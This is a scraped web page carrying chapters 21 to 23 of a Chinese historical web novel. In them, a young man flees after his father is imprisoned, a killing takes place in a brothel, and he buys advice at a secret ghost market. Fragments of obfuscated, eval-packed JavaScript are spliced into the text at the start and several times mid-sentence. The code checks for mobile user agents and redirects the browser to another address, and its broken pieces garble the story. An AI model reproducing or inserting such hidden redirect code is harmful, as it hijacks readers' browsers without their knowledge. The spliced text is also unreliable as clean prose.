d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15244476|166332||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 北疆一向也是沉默寡言,表情泰然,只顾闷头做事,偶尔和月夫人寒暄几句,该做的丝毫不差。但实际上,北疆也是个心细的女孩子,她甚至偷偷记下了月夫人爱吃的菜,平日里让厨房多做了些。 可就是这么一个贴心又懂事的丫鬟,有一天泪眼婆娑地跪在江府里,满脸委屈地跟爹说,月夫人不见了。 爹先是一惊,尔后温柔地把她扶起来,连连说道:“不怪你,不怪你……” 原来,月夫人打晕了北疆,留下了一封书信,又回到了醉红楼。 书信上只有短短的一句话,是月夫人柔美清丽的簪花小楷:已回醉红楼,望勿念。 爹一向不寻花问柳,怕自己去了醉红楼会对月夫人有所不利,只是吩咐右文殿那边减了我的工作量,让我没事多去醉红楼看看,陪月夫人说说话。 月柒去了江府以后,便不再做醉红楼的乐师了。她一得空,便四处逛逛,寻些稀奇古怪的东西带回去给月夫人瞧瞧,让她开心。 似乎月柒对月夫人回醉红楼没有什么芥蒂,反而跟我说:“你们江府人多闹腾,不利于我娘养病,还是我们醉红楼好,有歌有舞有美人!” 有一瞬间,我觉得她被沈笑附体了,脑海中浮现的是沈笑拿着纸扇,笑说着“美人如花隔云端”的场景。 我有时候会幻想月柒和沈笑在一起会是什么场景。没想到这种幻想最终变成了现实,月柒闲来无事,便做了些糕点,送到了右文殿里。 “哇,好好看的公子呀。”月柒见到沈笑的第一眼,便这样说。 当时沈笑一袭天青色,双手叉腰,正杵在屋子里,望着满满当当的书架找第四百多号文卷。 随后我和沈笑对视了一眼,随即双双不约而同地陷入了沉默,未过门的妻子当着自己的面,夸别的男人好看,这话我该怎么接? “他一向如此。”倒是裴浅溪十分淡定,翻过一页面前的书卷。 “依我看呀,你家江小公子也好看呀,白白净净,温文儒雅,颇有书生气质。”沈笑并不接裴浅溪的茬,很快把焦点又转移到了我的身上。 “嗯,我也觉得。”月柒点了点头,表示赞同。 当一个男人一个女人同时夸你,这话我该怎么接? 我索性懒得理她,去瞧她手中的那提食盒里装了什么,打开一看,是一大叠翠绿欲滴的糕点。 月柒心灵手巧,做的糕点也很好吃,我们几人你一个我一个,没过多久,食盒已经见了底。 嘻嘻闹闹,又是一天。 晚上来接我们回家的居然不是阿笙,而是管家钟伯。 马车兜兜转转,却没有回到江府,而是驶进了一片荒凉的森林,因为看不见,我们也并未察觉到任何异常。 只是四周很静,可怕的静,就好像是大雪簌簌后骤停的夜晚,一只鸟的啼叫都能似惊雷般乍起。 直到月柒掀开了车帷,我才看见窗外白茫茫的一片,便好奇地问道:“钟伯,咱们去哪里呀?” 我们现在身处林场,周围是一片枯木,冬日里的树木早已凋零,几只寒鸦在树上静静地立着,毫无生气可言。 怎么回事,这么晚了,为什么钟伯不带我们回家,而是来到了这里,莫非江府出了什么事? “月姑娘、公子,老爷交代了,江府就不要回去了,你们能走多远走多远!”钟伯无奈地摇了摇头,嘱咐我们。 “怎么了,发生什么事了?”我猜一定是出了什么变故,不然哪有人大下午的不回家,跑到这个鬼林子里瞎逛。 21. 夜袭 “老爷今天上午解散了家里面所有仆人,下午一个人把自己闷在房里,也不知道干什么,随即就出门去了,再也没有回来。对了,他走之前还交代我,若是一个时辰之内没有归来,就立马带着公子出走,没他的允许就不要再回去了。”钟伯赶着马,时不时偏过头看我们两眼,我坐在车厢,掀了帘,愈发觉得他的背影凝重,那一瞬,我觉得他苍老了十岁。 “有消息说,他被皇上抓起来了。”钟伯一路跟我们聊天一路驾着马车,颠颠簸簸,我们来到了一个小村子里。 几缕淡淡的青烟从烟囱里飘出,一层厚厚的积雪堆在错落有致的柴垛上,有小动物在雪地上蹦来蹦去,踩出大大小小的爪印。好一副悠然自得的山水田园画,可我此刻却无心观赏,我满脑子想的都是,我爹他到底是如何得罪了皇上? “这里是老奴的家,两位若是不嫌弃的话,先在这里委屈些时日吧。”钟伯拉停了马车,给我搭了把手,扶我下了车。 “我不能留在这里,我要回去见我娘,她看不见我了,一定会很着急的。”月柒绕过了我伸出的打算扶她的手,跃下车,随即便去拉马的缰绳,准备往回走。 我想,她大概这一路上都是按耐不住的,这话这么晚才说出口,只是想让钟伯先回自己家罢。 “月姑娘,你回去是可以的。可是江小公子估计现在正在被全城通缉,要是你们这样贸然回去了,怕是对他不利啊。”钟伯拉住了月柒手中的缰绳,苦口婆心地劝道。 怎么办?现在我处在了一个进退两难的地步,要是不回去,我根本不知道发生了什么事,我爹要怎么办?要是回去,可能我不仅救不了我爹,反而连自己也给搭进去? 月柒望着我好久好久,最后斩钉截铁地说了两个字:“易容!” 不得不说,这称得上是一个好办法。 月柒往我脸上抹了一层灶灰,又不知道从哪里捯饬来了一些假胡子,二话不说地贴在了我脸上,我拿盆水照了照,是一个黑黝黝的大胡子瘦汉形象。随即,我们俩快马加鞭往回赶,去了醉红楼。 刚刚入了夜,醉红楼依旧歌舞升平,好不热闹。门口的林妈妈看见了月柒,立马认出了我,把我拉到一边,小声碎碎念道:“江公子啊,现在抓你的告示贴满了全城,你可要小心行事呀!” 沈笑也在醉红楼,当他轻佻的桃花眼落在我身上时,明显愣了一下,尔后发出“哈哈哈哈哈”的爽朗笑声,腰都直不起来了,随即又补充了句:“我说子执啊,你这副模样真逗。” “问你啊,我爹他怎么了?”我也没和他客套过多,直奔主题,沈笑本是朝中人,知道的事情自然比寻常百姓多。 “唔,这个问题不好说,据说,江大人是想为前丞相平反?” 前丞相?爹如此在意月夫人,连看她的眼神都温柔得可以滴出水来,月夫人回到醉红楼他竟不是任由她去,而是在背后暗暗地谋划了这一切。难怪他从未将月夫人的真实身份告诉任何人,只以故友相称,怕的是给月夫人带来祸端吧。 醉红楼内酒客云集,有人对同桌的另一个男子说道:“唉,你听说了吗?江陵大人被抓起来了,就在今天下午。据说在他被抓起来之前,他还特地遣散了下人们。” “可不是嘛,好像是犯了什么很严重的事,我还听说,皇城内贴满了告示,要抓江家小公子呢。” “造孽啊造孽,这江家小公子可是他的唯一家眷。大人向来做事滴水不漏,说不定啊,这他早被江大人偷偷地送走了……” 那一瞬,我突然觉得,这个男人真的是心细如发,连寻常人都猜出了他的心思,只有我,还存着对他的偏见,敬而远之,让他把所有的麻烦都揽到了自己身上。要是我早点察觉到他想救月夫人的那份心思,说不定这之前还能为他做些什么,可惜一切都晚了,他已深陷囹圄,而在这之前,他却把包括我在内的所有人推远离这个深坑。 有福他和我共享,有难却不与我同当,我心底暗暗怪他不够义气。八年,我们已经羁绊了八年了,仅这一朝一夕间,他却想与我分道扬镳。 自责,懊恼,如今的我,还能为他做点什么呢? 或者说,我能为月夫人做点什么呢? 虽然嘴上说是病入膏肓,王爷也并未曾懈怠,积极寻找着各种医治之法。在他的帮助下,月夫人的气色有了些许的好转。 再见她时,她看我和月柒的模样一如既往地寻常又温柔,未曾见半点慌乱,那一刻,我有些确定,对于我爹入狱这件事,她并不知情。 我也不想跟她提及半分,她自己是前丞相之女,死罪难逃,若是再掺和进去,不仅对病情不利,说不定还把自己也搭进去。我特地嘱咐了月柒,让她看住月夫人,不要让她出门,免得听到了外面的风吹草动。 所以眼下的当务之急,是如何把爹救出来,爹在朝中颇具威望,官衔为二品,可是动了圣怒,被打入了死牢,为官中能帮他的人,寥寥无几。况且,他一心想把我搁置在朝局之外,只让我做一个事事了然于胸的旁观者,故我跟他的那些朋友们,并不熟络。 看来只有另想他法了,月柒的淡定倒是出乎意料:“我觉得有救,你知道鬼市吗?” “真的有钱什么消息都能买到?”前段日子王爷行踪的消息是人在鬼市买到的,那么我们可不可以去鬼市,买一个能救爹的人的消息? 鬼市在哪里?长什么样?怎么去?这一切都是个谜,我和月柒毫不知情,慌忙向楼内来来往往的人打听,醉红楼汇集八方来客,信息也是很灵通的。 一天过去,除了多道听途说了些鬼市的传闻,我俩依旧却毫无结果,眼见着夜色渐浓,楼内酒客越来越多,只得作罢。 和往常一样,我选了一个僻静的角落,开始喝着一壶茶。在以往的我看来,醉红楼不仅酒醇,美人多,茶也是极好喝的。可不知为何,今日淡茶入喉,吞噎下的都是苦涩。 一个叫绿萝的姑娘执了团扇,扭扭捏捏向我走来,声音娇嗔:“公子,今晚月色甚好,咱们一起赏月吧。” 我蓦地想起,自己换了模样,她兴许是不认得我了。见我不作声,她顾自推开窗,把我拉到了窗前。 清淡的月光倾泻下来,洒在铺天盖地的皑皑白雪上,加上千家万户的灯火,念城通明得如同白昼,就连醉红楼檐角的那只石燕,栩栩如生,仿佛下一秒就欢呼雀跃着飞走了一般。 这便是念城啊,一个坐拥繁华和良辰美景的地方,同样地,对我而言,也留下了无数的美好和辛酸回忆。 我想起在爹被抓的那天出门前,他突然塞给我了一张一千两的银票,说让我留着以备不时之需。他每月俸禄不过十余两,千两银子也是要攒些时日的。那时我还对他突然而来的举动感到奇怪,我现在懂了,他是想尽力保全我,让我远离这个是非之地,远走高飞。 可是我舍得吗?这里的人们都那么好,他们用他们以为的举手之劳,延续了我本该夭折的一生。所以,哪怕是粉骨碎身,我也要竭尽全力,护得他们周全。 “啊!”正当我沉思之际,绿萝的一声尖叫将我拉回现实。 顺着她的目光看去,此时一只骨瘦如柴的手正搭在窗沿上,慢慢地向上攀援,紧接着我看到了凌乱的头发,然后是枯瘦的四肢,最后,他整个人沿着窗柩爬了进来。那人披头散发,浑身破破烂烂,身上还弥漫着一股子酒味。 果然是不按套路出牌,这若不是我认识的王爷,还能是谁!等他拨开他散乱的长发时,露出那张熟悉的脸,朝我嬉皮笑脸一句:“江小公子,好久 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月柒去楼下找她的小姐妹们一起挤床,把她的位置留给了我,月夫人在另一边已然入睡。王爷却仍是神采奕奕,坐在屋里的那张软塌上屏气凝神,我却鬼使神差地信了他,妄图和他一起等着,不一会儿,上下眼皮却已经打起了架。 正当我昏昏沉沉之际,醉红楼楼下传来一些熙熙攘攘的躁动,和着陈妈妈尖利的嗓门。 王爷突然眼睛一亮,说什么也要把我拉到楼下去看热闹,我带着惺忪的睡眼,和他一起下了楼。 一伙子官兵执了火把,一窝蜂聚集在了醉红楼门口,把醉红楼牌匾映得通红。仔细一看,每个官兵都身穿银盔赤甲,身佩短刀,貌似是左丞相统辖的朝上军? 朝廷军队都出动了,看来阵仗不小啊。 “给我搜!”为首的人下了令,身后的一群士兵正欲涌入楼内。 “老娘的地盘,岂容得尔等造次。”林妈妈捏着一方锦帕,一把堵在了门口,颇具气场,生生逼得最前面的两个士兵后退了两步。 “一个上了年纪的老娘们,有什么好怕的,给我进去搜!”领头的人毫不为之所动,继续下令道。 一群人不由分说地像蚁群般涌进了楼内。那一瞬,我看见了林妈妈嘴角扯出一抹意味深长的浅笑,那个笑仿佛蔑视众生,又带着一股鄙夷的意味。 曲无意依旧如往常一般,在大厅里拨着琴弦,若不是眼前的一众人煞了风景,这等天籁之音不知会让多少人沉醉其中,她莞尔一笑道:“官爷们好雅兴呀,是进来听小女子弹琴的吗?” 这个女子胆子好大!竟然敢明目张胆地调戏他们,有一个士兵提了刀朝她走过去,说时迟,那时快,正当他举起了刀正准备砍下去的时候,曲无意的琴声戛然而止。等回过头来,面前的男子人头早已落地,骨碌一下,滚出好远,只有那一双还未来得及闭上的眼睛,说明事情发生得太突然。 曲无意出手很快,我根本都没看清是怎么回事!就好像一阵风掠过,风里夹杂着无数把锐利的刀子,其中一把瞬间要了那个小兵的命。 都是狗仗人势,他们哪里见过这般阵势,没过一会儿,一群士兵如鸟兽散,愣是被吓得没了踪影。林妈妈探出半个身子,朝屋外人挥手送别:“官爷们好走,下次再来玩呀!” 而曲无意从怀中慢慢掏出绣帕,捂住了口鼻,皱了皱眉,表情略带嫌弃地说道:“哎呀,赶紧来个人给我把他拖下去,弄脏了人家的地砖啦。” 有两个麻溜的小厮迅速地捡走了尸体,顺带地打了一桶井水,刷干净了面前的血渍,仿佛什么事都没有发生一样。 这熟练的操作,显然已经不是第一次了。可老话说,打狗还要看主人,醉红楼行事如此张扬,难道就不怕左丞相报复? 22. 鬼市 仿佛无事发生一般,曲无意接着坐回座位上,又继续拨弄着琴弦。 “不好看。”闹剧收了场,王爷嘟囔了一句,便径自回了屋。 都已经出了人命了,他还这么淡定!说什么好看不好看,难道他说的大事不是这个,那是什么?我也是好奇,随了他的步子,一同上楼去了。 等我们再次推开门进屋,被眼前的一幕惊呆了—— 有个人穿了一身夜行衣,浑身是血地匍匐在屋子正中央,我踢了他两脚,发现他已没了知觉,等我把他翻过来,摘掉他的面罩时,我看清了他的面容,是沈笑! 我赶紧把他扶起来,替他擦拭干净身上的血渍,拉过一旁的王爷,跟他解释,面前的这个人是我的挚友。 “哼哼哼,就你们家病号多。”王爷不依不饶,哼唧了一声。 这老头!都什么时候了,还在意这些小细节。 王爷替他把了把脉,又翻了翻他的眼皮,惊到:“又是‘迷迭’!这日辄国能不能行了?同一种药不同人用了千八百遍,这么多年真的是一点长进都没有,解药百把年前老夫都研究出来了。” 迎上我一无所知的表情,王爷解释道,“迷迭”是日辄国一等一的秘药,少量则让人昏迷,大量则让人毙命。之前赵将军也是中的此毒,虽然王爷立下了“不医朝中人”的规定,但奈何他和这毒颇有渊源,又加上这小疯子求了他很久,就顺便给赵将军医了。 “嘿,小子,算你幸运,今日遇上了你爷爷我。”王爷从衣里掏出些七彩的药瓶药罐,一一在桌上陈列开来,语气颇有些得意,听他的意思,他是会解这个毒的。可我终究没有察觉到,有一瞬间他渐渐暗淡下去的眸。 就在王爷一板一眼地指挥我准备工具,给沈笑祛毒时,一道飞镖“嗖”地窜进屋子,落在屋侧边撑梁的木柱子上,上面还夹带了一张小小的纸条:十五,钱来钱庄,钱来。 钱来钱庄是一个念城不大不小的钱铺,钱来是铺子的老板,十五又是什么?这一长串字又是什么意思? 王爷估计是看到了我纠结的眉头,一把夺过我手中的纸条,然后又一脸嫌弃地还给我:“是鬼市。” 这个投递纸条的是谁,他为何要帮我?王爷又到底是谁,他为什么知道鬼市的存在?经历了这么多事,为什么我暗暗觉得,他不仅仅是一个酒鬼那么简单?还有,好端端的流连烟花柳巷的沈笑,为何突然身受重伤? 一长串的问题困扰着我,这一切的一切,是巧合,还是暗有联系?王爷口中神神叨叨念着的“大事”,究竟是什么? 祛毒刚刚结束,血也止住了,细密的汗珠从沈笑的脸上滑落,他依旧昏迷不醒,只是嘴里不断地念叨着:“公主……公主……” 那夜我照顾着他,彻夜未眠,默默地替他数着。那晚,他念了七百八十六遍公主,那个时候我才明白了,原来那个“百花丛中过,片叶不沾身”的沈笑,心里装着一个公主。 什么游戏人间,都是幌子,我在心里暗暗感慨,这小子够鸡贼啊。 第二天,王爷留在醉红楼内照顾沈笑和月夫人,我和月柒按着纸条上的地址找到了钱来,跟他提及了鬼市。 “钱某不做亏本的买卖。”他捻着他的八字胡须,贼眉鼠眼地瞧了我一眼。 我赶紧奉上一百两银子。 “鬼市,在下也不是不知道,只是,带你们前去的话……”他紧接着又打量了月柒些许时间。 听他的语气,似是不够?我紧接着又奉上一百两。 “鬼市每月初一、十五、三十才开门,每次只开三天,你们运气好,恰好能赶上中旬的第一天,明日戌时,醉红楼前的那棵歪脖子树下,会有人带你们去,记得穿一件白衣。” 醉红楼?为什么接头地点在这里? 听他一说,我才想起明日是正月十五。时间过得恍恍惚惚,最近发生了太多的事情,新春的欢喜荡然无存,取而代之的,是数不胜数的千奇百怪的苦恼,忙碌到我差点都忘了,明日是元宵节。 又是浑浑噩噩的一天,除了焦虑,我依旧什么都没干。爹还在死牢里,情况不明;沈笑依旧是昏迷不醒,王爷似乎也觉得问题棘手:“唉,怎么还不醒?” 而病榻上的那张绝美睡颜,除了偶尔碎碎念着“公主……公主”,再无其他反应。 伴随着我和月柒的,只有漫长的等待,漫长到连姑娘们指尖的音符,都是一个接连一个跳跃着的。我这辈子从来没觉得,时间竟然过得那么慢,直到那轮似血的红日一点点爬下去,夜幕慢慢地垂下来。 醉红楼,戌时。 有打更人敲了梆子,拉长嗓子:“风雨如晦,朝野满盈,日夕,戌时——” 月柒着了一袭白衣,在微风的轻拂下,她衣袂飘飘,好似仙子,一尘不染,踏月而来。 “两位随我来吧。”来人是个矮个子独眼龙,他的一只眼戴着黑色的眼罩,一眼瞥见了歪脖子树下的我们,也不多说半句客套话,直接进入主题。 他带着我们离开醉红楼,融入一笼月色之中,弯弯绕绕,没过多久,便看到了一家客栈旁边停着的马车,那马儿见我们来了,甩了甩尾巴,亲昵地蹭了蹭那个独眼龙。 他拿出两段长布条,递给我们:“二位,道上的规矩,遵守一下吧。” 月柒和我也未曾怀疑半分,便麻溜地系上了黑布条。 “好黑啊,什么都看不见了。”月柒的语气里不是惊恐,而是充满了好奇。 我轻轻拉过她的手,说了句:“别怕,我在这里。” 那个独眼龙把我们扶上了马车,便坐在前面赶起车来。夜很静,哒哒的马蹄声不断传入耳际,时不时有铁匠打铁的声音,最后一段路周遭的空气很安静,只有依稀的鸟兽声。没过多久,车便停了。只听见车夫跟另一个人絮絮说了些什么,便掀开了车帘,跟我们说道:“到了。” 他和另一个人搀扶着我们下了台阶,到了一方平坦的空地,然后道:“你们可以摘下布条了,我的任务完成了,你们去找‘一道疤’吧。” 一道疤是谁?我们刚解下眼上的布条,还未问出口,那独眼龙和马车早就不见了。是我的错觉吗,刚刚走时竟没有马蹄声? “唉,他怎么不见的,你看见了么?”月柒也好奇地问道。 我摇摇头,不明所以。 眼前是一道只容一个人通行的窄窄的入口,里面黑漆漆一片,刚开始时十分狭窄,越往里走,便越宽阔。 在尽头,有一盏昏暗的油灯燃着,有个男人坐在油灯之下,他看似平民模样,皮肤黝黑,手指灵活且细长,头上围了圈头巾。 “两位,戴上这个吧,江湖恩怨过,鬼市为路人。”见我们来了,他也不问任何,顾自说道。 他的面前是一个面具摊,里面的面具只有一种样式,画着的是一只青面鬼,面目狰狞,红舌獠牙。他递给我们每个人一个。 我和月柒都是第一次来鬼市,对这里的一切都十分好奇,没有规矩,不成方圆,对于鬼市的规矩,我们都很乐意遵守。 “二位,进了这个门,里面有些许的油纸灯笼,二位自取便好。”他朝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她走得急,并未注意到身后的我们,只见她来到了一株柳树下,翻出一个坛子,在里面放了些什么,随即转身离去。 我们俩好奇,忍不住凑过去,翻看了一下那个坛子。 坛子里装了些许的银票,还有一张纸条,上面写着一个我们都熟悉的名字。 沈笑。 是谁在找沈笑?沈笑那日倒在血泊里的场景历历在目,这是要致他于死地还是要救他? “二位可是来打探消息的?”未见其人,先闻其声,那人就像鬼魅一般突然出现,吓得我们赶紧把坛子里的东西放了回去。 原来在另一棵柳树下,有一个戴着面具的男子望向我们,他没有打灯笼,借助月柒手中的光亮,我只看得出个颀长削瘦的人形。 “是的呢,我们在找‘一道疤’,可是这里的人们,都不告诉我们。”月柒直接跟他表明了我们的来意。 “哈哈哈哈哈。”那男子发出了阵爽朗的笑声。 那声音让我想到了沈笑,之前我扮相奇怪,也被他笑过,那笑声也如这般爽朗阳光。能笑得坦荡,说明心怀天地,为人正直,说明他是个好人,那么他的话姑且可以信上几分,若是他肯告诉我们一道疤所在,那不是更好? “不问来处,不问归处,不问别物,你们可知道鬼市的规矩?” 规矩?这里面又有什么门道?我和月柒面面相觑,毕竟是两个门外汉,对此一无所知。 23. 三个锦囊 “黑市的东西多来路不正,所谓不问来路,即是挑了东西,谈妥了价格就拿走。不问何人所买,不问用处。商家卖东西,你只能问他货价,不能问他其他人和事。”他解释。 地方不大,道道却也是挺多的,再想起所有人都是轻声细语,一副“恐惊天上人”的模样,就是怕闻声识人。我突然明白,可能油纸灯笼里也加了料,才会比平常的暗上几分,为的是免得光打得太亮看清面容,仇人见面,瞅急了眼。 “那一道疤在哪?”似乎是觉得眼前的男子有些靠谱,能搜罗到一些有用的答案,月柒继续追问着。 “那是一段路。那个路比周围的路要宽些,路面向上凸起,这里的人将其称为‘一道疤’。” 原来,一道疤是路!我心里为求得结果而开心不已,同时也极其佩服这个想法独特的取名鬼才。 那个男子也将什么东西放在了柳树下,嘱咐我们一句“别乱动这里的东西,免得引起不必要的麻烦”就走了。 我们按照他说的,找一段凸起的路。鬼市的路一般都是极平整的,那段路说来也不难找,我们前后兜了几个大圈子,皇天不负有心人,终于找到了。 路上坐了个人,没有戴面具,但是他双目紧闭,一手拿着竹竿,还用另一只手摸索着身边的物件,貌似是个瞎子。 “两位是来问什么的?”瞎子耳力极好,听到了我们的脚步声,把身子朝我们这边挪了挪。 “江大人被皇上关起来了,你知道怎么样才能救他吗?”我凑近,悄悄地问道。 那人闻言,也不惊吓,就好像我跟他说的是“老板,买鱼,来一条”似的。 “这个价。”他伸出了一根手指。 “一百两?”月柒试探着问着。 毕竟是一条人命,我想着一百两或许过于便宜,哪知道那人直接狮子大开口:“一万两!” 照之前,我一个月六两银子,一年十二月,挣这么多钱,得须一百三十多年,整整两辈子,还得建立在不吃不喝的前提下,我心中暗暗叫苦。 “若两位付得起价格,就在明日此时,把银两放在这里一直走过去的从左往右数的第六棵柳树下,若有办法,在下就会把银两都取走,在原地留下你们想要的信息,若是没有办法,银两就会悉数奉还,两位第三日来柳树下取走就好了。” 当初爹给了我一千两,除去给钱来的两百两,除去茶费伙食钱,我还剩下七百多两,可这些钱对于一万两而言,只是杯水车薪。江府被查,已是一片狼藉,我根本回不去,看来,我必须想些法子,才能筹措起这笔巨款。 今日元宵,鬼市也很应景,不少摊位卖起了各式各样的花灯,有些模样甚是讨喜,月柒看了好生喜欢,可是嘴里嘟嘟地念了句“一万两”,刚伸出去的手又缩回了。我向老板问了价格,把那盏花灯塞给了她。不过是几十文钱,不碍事的,一万两里不差这几十文。 最后,出鬼市的时候,那个彪形大汉吹了个口哨,外面就响起了零零落落的马蹄声,一匹红棕色的马拉了一辆马车,停靠在台阶上方的平地上,车上坐着另一个车夫,之前的车夫也不知道哪儿去了。 大概是之前的车夫有所交代,他也没有问任何,一路闷不做声,直接把我们送回了醉红楼,我们连连向他道谢。 “不客气,谁让你们是钱老板的客人呢。”那车夫笑得腼腆,摸了摸自己的后脑勺。 我本来没什么感觉,听他这么一说,唉,好像两百两银子搭两趟马车,打探个消息,着实有些贵呢。 夜已深,他驱着马车离开,远处有打更人敲了梆子:“风雨如晦,朝野满盈,人定,亥时——” 自从我爹出了事,王爷也是日日呆在醉红楼,一心等着他口中的“大事”到来,可这么多天过去了,除了那天,其他的日子依旧如无风的湖面般,平静得不起波澜。 “不应该呀,怎么还没醒。”王爷围着沈笑打转转,开始有几分怀疑自己的医术,急得如热锅上的蚂蚁。 见我们来了,他把头偏向我们:“你们去鬼市结果如何?” 我见他脸黑得阴沉,寻思着该怎么狮子大开口,让他跟他的“小疯子”说说,好施舍些银两,为这一万两添砖加瓦,月柒却已经先开了口。 “他说要用一万两买这个消息。”隔壁的月夫人早已入睡,月柒的声音压得很低很低。 “他还说,要是没有办法,会把钱悉数奉还给我们。”我用手背给沈笑量了量额温,不烧,又给他喂了些水,补充了句。 “这个数目是有点大,这样吧,你去福缘钱庄,把这个交给掌柜,跟他说要一万两。”王爷说这话的时候,甚是轻巧,仿佛我们跟他说的是一文钱。 那是一枚小巧玲珑的玉佩,通体碧绿,上面刻着一个小小的“王”字,散发着天然的光泽。 难道王爷真的姓“王”名“爷”? 我也来不及细想,只听身旁的他叹息了一声:“终究是冤有头债有主啊。” 我倒是没听出这话的弦外之音,只是顾及眼前的诸事。想着,债,是啊,这一万两,可是一笔大债。我甚至都有些怀疑,一个月六两纹银的自己,这辈子还不还得起王爷的这一万两银子。 但转念一想,不对,我已没有官职和收入了,顾及此,我心中逐渐生起了“债多压身不愁”的想法,管他呢,先把江大人救出来再说吧。他当了这么多年的高官,虽是清官,从不收人贿赂,但玉轩枫给的赏银就不少,总会有些积蓄的,等爹出来了再商量对策还给他也不迟嘛。 事不宜迟,第二条天刚刚亮,我就去取了一万两银票,以燃眉之急。以前我花钱时,哪怕是一兜子铜钱我也不觉得沉,那是我头一次觉得,手中的十张票子,跟秤砣似的。 然后我又去找了钱来,做了一个晚上去鬼市的预约,又花了两百两。 依旧是戌时,马车如鬼魅般行驶在了夜色中,我和月柒又都着了一身白衣,更添了无限凄楚。 第六棵柳树下,我们把一万两和一张备注的小纸放进了一个坛子里。 其实我有些好奇,要是有人偷偷地把这些钱拿走了会怎样?但转念一想,柳树下的那个面具男子跟我们说“别动柳树下的东西,免得引起不必要的祸端”,说明这些钱其实是有人留意着的,又或者,那个男人,就是看那些东西的人。 第三天,沈笑依旧双目紧闭,没醒。我在他的床边,看他安静的睡颜,闲来无事也去数他的睫毛。 一根,两根,三根……根根分明且纤长,为那双魅惑众生的眼睛加分不少。 月柒也静不下来,在案几上的曲谱上胡写乱画着,突然扭头问我:“你知道鬼市在哪里吗?” 我摇摇头,每次去的时候我们都被蒙着双眼,马车都会兜好几个大圈子,在哪里完全不知道。 “我猜在鬼坟山的乱葬岗下面。” 我突然想起来了那些铁匠的敲打声和那些隐隐约约的恶臭,在醉红楼去往鬼坟山的路上,确实是有几家铁匠铺的。至于恶臭,近日气温回升,乱葬岗的尸体都有了味道。 “咱们酉时去看看吧,找不到就回来找钱老板。”月柒提议道,又紧接着问我:“你知道钱来为什么让我们蒙着眼睛了吗?” “因为可以捞一笔。”我笑道,此话当真。从这两天鬼市穿梭如潮的人群中可以看出,其实去鬼市很自由,只不过,你不知道路,就需要花更多的钱了。 果然,平日里无人烟的乱葬岗旁的小径,多了很多车辙轧过的痕迹。不一会儿,便有马车驶入。奇了!平日里平坦的土丘后,有着几节台阶,像是平白无故长出了路一样。 我们顺着台阶走了下去,入了通道,果然!那个彪形大汉坐在那里画鬼面具,他见我们来了,只是默不作声地递给我们一人一个鬼面具。 一, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15244479|166332||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 二,三,四,五,六。 第六棵柳树下的一万两银票不见了! 多了三个锦囊和一封书信:“先只可打开第一个和第二个锦囊。不到万不得已,千万别打开第三个锦囊,切记切记。” 我们赶紧拆了第一个绿色的锦囊,上面写了:李碧凝。 李碧凝何许人也?月夫人的胞妹,替她嫁进了宫里的那位。 而第二个粉色的锦囊上面写着:未名宫。 想必就是我这位素未谋面的姨娘的所在地了。 第三个,紫色的锦囊,既然那位盲眼高人说不能打开,想必是有玄机吧,我默默地把它揣在了袖中。 这位久居深宫的废后可以救我爹?她已经无权无势,要怎么去救?一切都是个谜。 正月十七,醉红楼。 天刚蒙蒙亮,歪脖子树上停了几只叽叽喳喳的鸟雀,相互梳理着羽毛,用新啼宣誓着新的一天的到来。 我记得爹曾跟我说,树唯有姿态百妍,方显婀娜,才能将庭院装点出别致的风雅。而那些循规蹈矩一心一意笔直向上生长的树木,大多都做了家中的木制品。人亦是如此,唯有百窍玲珑,才能不为纷繁世事所拖累。现已是物是人非,不知道爹近来可好,想到这里,我心里难免多了几分伤感。 王爷似乎对于沈笑的病一知半解,替沈笑琢磨病情到半夜,此时他正在屋里的那方软榻上酣睡。 月夫人向来浅眠,天还不亮,她便在另一边屋里,聚精会神地绣着一方锦帕,说是要给月柒做嫁妆。 “有人吗?你们为什么不开灯呀?”是沈笑!他终于醒了! 我循着他的声音望过去,他早已从床上站了起来,双手在空气中胡乱地比划着,像是摸索着什么,双目无神。 他看不见么?我赶紧过去一把扶住他,生怕他跌倒或者磕着碰着:“沈笑,我在这里。” “子执,你为什么不开灯呀?屋子好黑的。”听到了我的声音,沈笑也不闹了,像个乖巧的孩童一般向我问道。 “笑笑,现在是白天。”虽是残忍,我还是把事实真相告诉了他。 沈笑先是一愣,随即跌坐到床上,抱着双腿,号啕大哭起来。 我看着他的模样,心疼至极。几天前,他还是那个爱笑的沈笑,笑起来眼睛像天上的星星那般好看。他虽纨绔,有时候却也认真至极,就像个永远也长不大的孩子王一样。还有公主,那个沈笑偷偷藏在心底多少个日日夜夜的公主,知道了沈笑如今这番模样,可会难过? 月夫人被他的哭声吸引了过来,她用一种复杂的眼神看着我:“你老实跟我说,是不是出了什么事,为何你近几日,日日呆在醉红楼,也不回去看看你爹。” “王大夫也日日在此,沈公子又是怎的受了重伤?”随即她又补充道,字字珠玑,说得我都开始无言反驳。 我知道,事情瞒不下去了。 要说我天天呆在醉红楼,却也不是什么稀罕事,倒是沈笑和王爷日日在此,显得可疑,这些似乎和爹无关,我却百口莫辩。 